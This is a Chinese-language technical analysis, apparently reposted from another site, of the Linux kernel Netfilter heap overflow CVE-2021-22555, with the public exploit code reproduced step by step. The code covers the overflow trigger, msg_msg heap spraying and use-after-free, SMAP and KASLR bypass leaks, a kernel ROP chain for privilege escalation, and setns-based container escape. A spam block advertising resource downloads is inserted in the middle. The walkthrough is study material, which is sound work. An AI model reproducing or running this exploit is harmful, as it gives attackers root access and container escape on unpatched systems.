一、漏洞背景
CVE-2021-22555是一個存在了15年之久的內核堆溢位漏洞,它位于內核的Netfilter組件中,這個組件可以被用來實作防火墻、NAT等功能,
該漏洞在2006年由commit 9fa492cdc160cd27ce1046cb36f47d3b2b1efa21引入,并在2021年由commit b29c457a6511435960115c0f548c4360d5f4801d修復,
利用這個漏洞可以導致目標系統拒絕服務,甚至實作提權、容器逃逸并執行任意代碼,危害等級極高,
二、漏洞分析
漏洞位于net/netfilter/x_tables.c的xt_compat_target_from_user函式:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
t = *dstptr;
memcpy(t, ct, sizeof(*ct));
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
memset(t->data + target->targetsize, 0, pad);
tsize += off;
t->u.user.target_size = tsize;
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off;
*dstptr += tsize;
}
緩沖區溢位發生在memset(t->data + target->targetsize, 0, pad)這個陳述句,其本意是講已經對齊的緩沖區多余的pad個位元組清零,由于在分配記憶體的時候沒有考慮到對齊,t->data之后只有target->targetsize個位元組的有效存盤空間,導致這里會發生pad個位元組的溢位,通過選擇不同的target,可以控制targetsize,進而控制溢位位元組數pad,
要讓內核執行到有漏洞的xt_compat_target_from_user函式,需要在用戶空間呼叫setsockopt,并提供IPT_SO_SET_REPLACE或IP6T_SO_SET_REPLACE作為第3個引數,這個操作需要用戶行程擁有CAP_NET_ADMIN能力,而這個能力可以通過切換到新的用戶+網路名稱空間來獲得,
【一>所有資源獲取<一】
1、200份很多已經買不到的絕版電子書
2、30G安全大廠內部的視頻資料
3、100份src檔案
4、常見安全面試題
5、ctf大賽經典題目決議
6、全套工具包
7、應急回應筆記
8、網路安全學習路線
三、EXP分析
EXP整體思路是利用堆溢位改寫特殊鏈表的指標,進而實作UAF,最后改寫特定內核結構體的函式指標來實作代碼執行,
3.1 實作UAF
3.1.1 申請訊息佇列
通過msgget申請NUM_MSQIDS個訊息佇列,在EXP中NUM_MSQIDS等于4096,訊息佇列數目沒有特殊要求,數目越多則EXP越穩定,原因后面會解釋,這步是為后面的堆噴做準備,
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}
3.1.2 發送主要訊息
通過msgsnd給每個訊息佇列都發送一個4096位元組的訊息,暫且稱這些訊息為主要訊息,每個訊息的內容是其所在訊息佇列的序號,分別為0-4095,注意這里所謂的4096位元組并非指訊息內容的長度,而是指訊息傳遞到內核空間之后,內核為容納該訊息而開辟的堆緩沖區的大小,該緩沖區容納了一個結構體msg_msg的實體和訊息的實際內容,后面所提及的“訊息長度”都是指內核緩沖區的長度,
printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, 0, sizeof(msg_primary));
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}
int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) {
*(long *)msgp = msgtyp;
if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) {
perror("[-] msgsnd");
return -1;
}
return 0;
}
這里所使用的msgsnd函式是最常用的堆噴手段之一,因為傳遞的訊息內容會一成不變地復制到內核緩沖區中, 這樣就可以達到控制內核緩沖區內容的目的,當訊息傳遞到內核空間時,內核是通過alloc_msg函式來申請堆緩沖區的:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
// 取實際訊息長度len和DATALEN_MSG中的最小值為第一個訊息分片的長度
alen = min(len, DATALEN_MSG);
// 為首個訊息分片開辟緩沖區,長度為結構體msg_msg加上alen
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
// 若首個訊息分片不足以容納完整的訊息,將陸續開辟后續的訊息分片
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
// 為后續訊息分片開辟緩沖區,長度為結構體msg_msgseg加上alen
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
其中,結構體msg_msg的定義如下:
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
struct list_head {
struct list_head *next, *prev;
};
內核為訊息開辟好緩沖區后,會將其插入到每個訊息佇列中,形成一個雙向鏈表,每個訊息的m_list.next指標指向下一個訊息,m_list.prev指向前一個訊息,
需要注意的是,當訊息實際內容的長度大于閾值DATALEN_MSG時,內核會對訊息進行分片,這在利用程序中是必須要避免的,所幸的是這里選擇的長度并不會導致訊息分片,
發送完后,極大概率存在部分主要訊息在地址上是連續的:

3.1.3 發送次要訊息
再給每個訊息佇列發送1024個位元組的次要訊息,每個訊息的內容同樣是其所在訊息佇列的序號,
printf("[*] Spraying secondary messages...\n");{{
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}
發送完后,每個主要訊息后面都會跟著一個次要訊息,且它們的內容是相同的:

3.1.4 釋放部分主要訊息
從第1024號佇列開始,每隔1024個佇列釋放一個主要訊息,這一步釋放的緩沖區將在后面觸發漏洞時重新申請使用,將間隔設定為1024也是因為這樣選出的主要訊息所在的記憶體位置之后緊鄰另一個主要訊息的可能性更大,
printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}
3.1.5 觸發緩沖區溢位漏洞
重新申請上一步釋放的緩沖區,同時觸發緩沖區溢位漏洞,將緩沖區外2個位元組覆寫為0,前面提到,上一步釋放的緩沖區后面極大概率緊跟著一個主要訊息,這是因為前面發送了大量主要訊息,將內核記憶體分配器能分配的記憶體空洞都填滿了之后,所獲得的緩沖區極大概率是相鄰的,所以,申請的訊息佇列數目越多,發送越多的主要訊息,記憶體空洞被填滿的概率越大,EXP也就越穩定,在這種理想情況下,這一步會將緩沖區后面的主要訊息的next指標的最低位2個位元組覆寫為0,導致其指向另外一個次要訊息,這樣,就會有2個主要訊息的next指標指向同一個次要訊息,

printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;
int trigger_oob_write(int s) {
struct __attribute__((__packed__)) {
struct ipt_replace replace;
struct ipt_entry entry;
struct xt_entry_match match;
char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2];
struct xt_entry_target target;
} data = {0};
data.replace.num_counters = 1;
data.replace.num_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target));
data.entry.target_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));
data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;
data.target.u.user.target_size = sizeof(data.target);
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;
// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("[-] Error ip_tables module is not loaded.\n");
return -1;
}
}
return 0;
}
3.1.6 實作UAF
利用帶MSG_COPY引數的msgrcv函式搜索同一訊息佇列但內容不同的主要訊息和次要訊息,這樣就可以在不釋放訊息緩沖區的前提下查看訊息內容,前面提到,同一訊息佇列的主要訊息和次要訊息的內容在正常情況下應該是相同的,如果不同,說明該主要訊息的next指標在上一步被改寫了,導致2個訊息佇列包含同一個次要訊息,再釋放其中一個佇列的次要訊息,由于另一個佇列還在使用該次要訊息,就實作了UAF,

printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}
if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
// fake_idx's primary message has a corrupted next pointer; wrongly
// pointing to real_idx's secondary message.
printf("[+] fake_idx: %x\n", fake_idx);
printf("[+] real_idx: %x\n", real_idx);
printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
3.2 繞過SMAP
如果內核開啟了SMAP,用戶空間的資料將不能被內核訪問,就需要通過資訊泄露獲取內核空間的地址來利用內核空間的資料,
3.2.1 構造偽次要訊息
上一步釋放了一個次要訊息所占據的緩沖區,為了方便說明,后面稱之為關鍵緩沖區,關鍵緩沖區雖然被釋放了,但還是有一個訊息佇列在使用關鍵緩沖區,
通過write函式向UNIX socket寫入資料的方式構造許多個偽次要訊息,之所以要構造多個,是為了切實地將虛假資料寫入已經被釋放的關鍵緩沖區中,這也是實作堆噴的重要手段,由于沒有多余的資料結構占據通過該手段寫入的緩沖區,因而可以完全控制內核緩沖區的內容,
這里構造的偽次要訊息的m_ts欄位(表示訊息內容長度的欄位)為不需要分片的最大訊息內容長度,要遠遠大于1024位元組的真實次要訊息內容長度,相當于將相鄰的次要訊息也納入偽次要訊息的范圍,

// Reclaim the previously freed secondary message with a fake msg_msg of
// maximum possible size.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next,
uint64_t m_list_prev, uint64_t m_ts, uint64_t next) {
msg->m_list_next = m_list_next;
msg->m_list_prev = m_list_prev;
msg->m_type = MTYPE_FAKE;
msg->m_ts = m_ts;
msg->next = next;
msg->security = 0;
}
int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) {
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, size) < 0) {
perror("[-] write");
return -1;
}
}
}
return 0;
}
3.2.2 越界讀取相鄰次要訊息
由于構造的偽次要訊息的m_ts欄位要遠大于真實次要訊息內容長度,通過讀取該訊息可以越界讀取相鄰次要訊息的頭部內容,包括next指標,這樣就獲得了該next指標所指向的主要訊息的地址(訊息佇列是雙向鏈表),
// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}
// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);
3.2.3 再次構造偽次要訊息
獲得了相鄰次要訊息所指向的主要訊息的地址后,通過read函式讀取socket內容的方式釋放偽次要訊息,讓關鍵緩沖區再次進入被釋放狀態,然后,以相同的方式重新構造偽次要訊息,這次構造的m_ts欄位要大于訊息分片的閾值,next欄位等于相鄰次要訊息所指向的主要訊息的地址-結構msg_msgseg的長度,這樣做相當于將該主要訊息偽造成下一個訊息片段,那么在讀取偽次要訊息時,就可以讀取該主要訊息的next指標,該指標指向相鄰次要訊息,將指標內容減去1024即可獲得偽次要訊息即關鍵緩沖區的地址,
// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}
// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr);
3.3 繞過KASLR/SMEP
接下來將通過泄露內核.data段的地址來繞過KASLR,并通過利用內核gadget構造ROP鏈來繞過SMEP,
3.3.1 釋放偽次要訊息
前面構造的偽次要訊息的內容是通過socket寫入的,那么內核肯定有一個跟socket相關的結構體是指向偽次要訊息緩沖區的,事實上該結構體為sk_buff,

由于結構體msg_msg占據了訊息緩沖區前面部分,msgrcv不能完全讀取緩沖區的內容,而通過socket則相反,因此,需要通過msgrcv將關鍵緩沖區釋放,后面通過socket讀取關鍵緩沖區的內容,
由于之前構造的偽次要訊息的next和prev指標不是有效的地址,現階段不能直接通過msgrcv釋放該偽次要訊息,因為內核會檢查訊息佇列鏈表的完整性,
為了能通過msgrcv釋放偽次要訊息,需要依次執行以下步驟:
- 通過讀取socket釋放關鍵緩沖區,
- 通過寫入socket再次申請關鍵緩沖區,寫入內容為重新構造的偽次要訊息,其next和prev指標為自身地址,這樣就能繞過鏈表完整性檢查,
- 通過msgrcv釋放偽次要訊息,
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
// Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;
3.3.2 泄露內核地址
上一步執行完后,還有sk_buff指向關鍵緩沖區,那么,如果在關鍵緩沖區填入包含指向內核.data段指標的資料結構,再通過讀取socket來獲得緩沖區的完整內容,就可以獲得內核.data段的地址,進而計算出.text段的地址,讓利用內核gadget成為可能,

結構體pipe_buffer是個很好的目標,其定義如下:
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
...
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
...
};
pipe_buffer的成員ops指向一個位于內核.data段的資料結構anon_pipe_buf_ops,它將是接下來的泄露目標,
而且,ops指向的資料結構包含很多跟管道操作相關的函式指標,其中一個是release,它所指向的函式將在釋放管道時被呼叫,那么,通過篡改ops指向偽造的pipe_buf_operations結構,在釋放管道時就可以劫持控制流,
為泄露內核.data段的地址,將進行以下步驟:
- 通過向多個管道寫入資料讓內核構造多個pipe_buffer結構體的實體,其中一個實體將占據關鍵緩沖區,此時記憶體布局如下:

- 讀取socket,獲得anon_pipe_buf_ops的地址,也就是獲得了內核.data段地址,
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}
printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}
kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr);
此時關鍵緩沖區已被釋放,記憶體布局如下:

3.4 提權和容器逃逸
先通過寫入socket構造偽pipe_buffer,讓ops指標指向在關鍵緩沖區偽造的pipe_buf_operations,其中的release指標指向跟堆疊遷移相關的內核.text段的gadget,

同時,在關鍵緩沖區構造ROP鏈依序執行以下任務:
- 保存RBP,
- 執行commit_creds(prepare_kernel_cred(NULL)),這一步是為了獲得root權限,
- 執行switch_task_namespaces(find_task_by_vpid(1), init_nsproxy),這一步在容器環境中才有用,否則只是冗余步驟,作用是pid為1的行程的名稱空間替換為容器初始化時的全域名稱空間init_nsproxy,init_nsproxy名稱空間可以訪問宿主機的檔案系統,
- 恢復RBP并恢復正常執行流程,
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
buf = (struct pipe_buffer *)&secondary_buf;
buf->ops = kheap_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
// RSI points to &buf.
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
void build_krop(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) {
uint64_t *rop;
*(uint64_t *)&buf[0x39] = kbase_addr + POP_RSP_RET;
*(uint64_t *)&buf[0x00] = kbase_addr + ADD_RSP_D0_RET;
rop = (uint64_t *)&buf[0xD8];
// Save RBP at scratchpad_addr.
*rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = scratchpad_addr; // R12
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_QWORD_PTR_R12_RBX_POP_RBX_POP_R12_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBX
*rop++ = 0xDEADBEEF; // R12
*rop++ = 0xDEADBEEF; // RBP
// commit_creds(prepare_kernel_cred(NULL))
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 0; // RDI
*rop++ = kbase_addr + PREPARE_KERNEL_CRED;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + COMMIT_CREDS;
// switch_task_namespaces(find_task_by_vpid(1), init_nsproxy)
*rop++ = kbase_addr + POP_RDI_RET;
*rop++ = 1; // RDI
*rop++ = kbase_addr + FIND_TASK_BY_VPID;
*rop++ = kbase_addr + POP_RCX_RET;
*rop++ = 4; // RCX
*rop++ = kbase_addr + CMP_RCX_4_JNE_POP_RBP_RET;
*rop++ = 0xDEADBEEF; // RBP
*rop++ = kbase_addr + MOV_RDI_RAX_JNE_XOR_EAX_EAX_RET;
*rop++ = kbase_addr + POP_RSI_RET;
*rop++ = kbase_addr + INIT_NSPROXY; // RSI
*rop++ = kbase_addr + SWITCH_TASK_NAMESPACES;
// Load RBP from scratchpad_addr and resume execution.
*rop++ = kbase_addr + POP_RBP_RET;
*rop++ = scratchpad_addr - 0xA; // RBP
*rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_A_POP_RBP_RET;
*rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET;
}
釋放管道,執行release所指向的gadget,將內核堆疊遷移到關鍵緩沖區構造的ROP鏈處,然后執行完整個ROP鏈,實作提權,
printf("[*] Releasing pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}
最后,將當前行程的名稱空間替換成1號行程的,而1號行程的名稱空間已經替換成容器初始化時的全域名稱空間init_nsproxy,由此實作容器逃逸,
setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/400415.html
標籤:其他
上一篇:【語意分割】初識U-Net
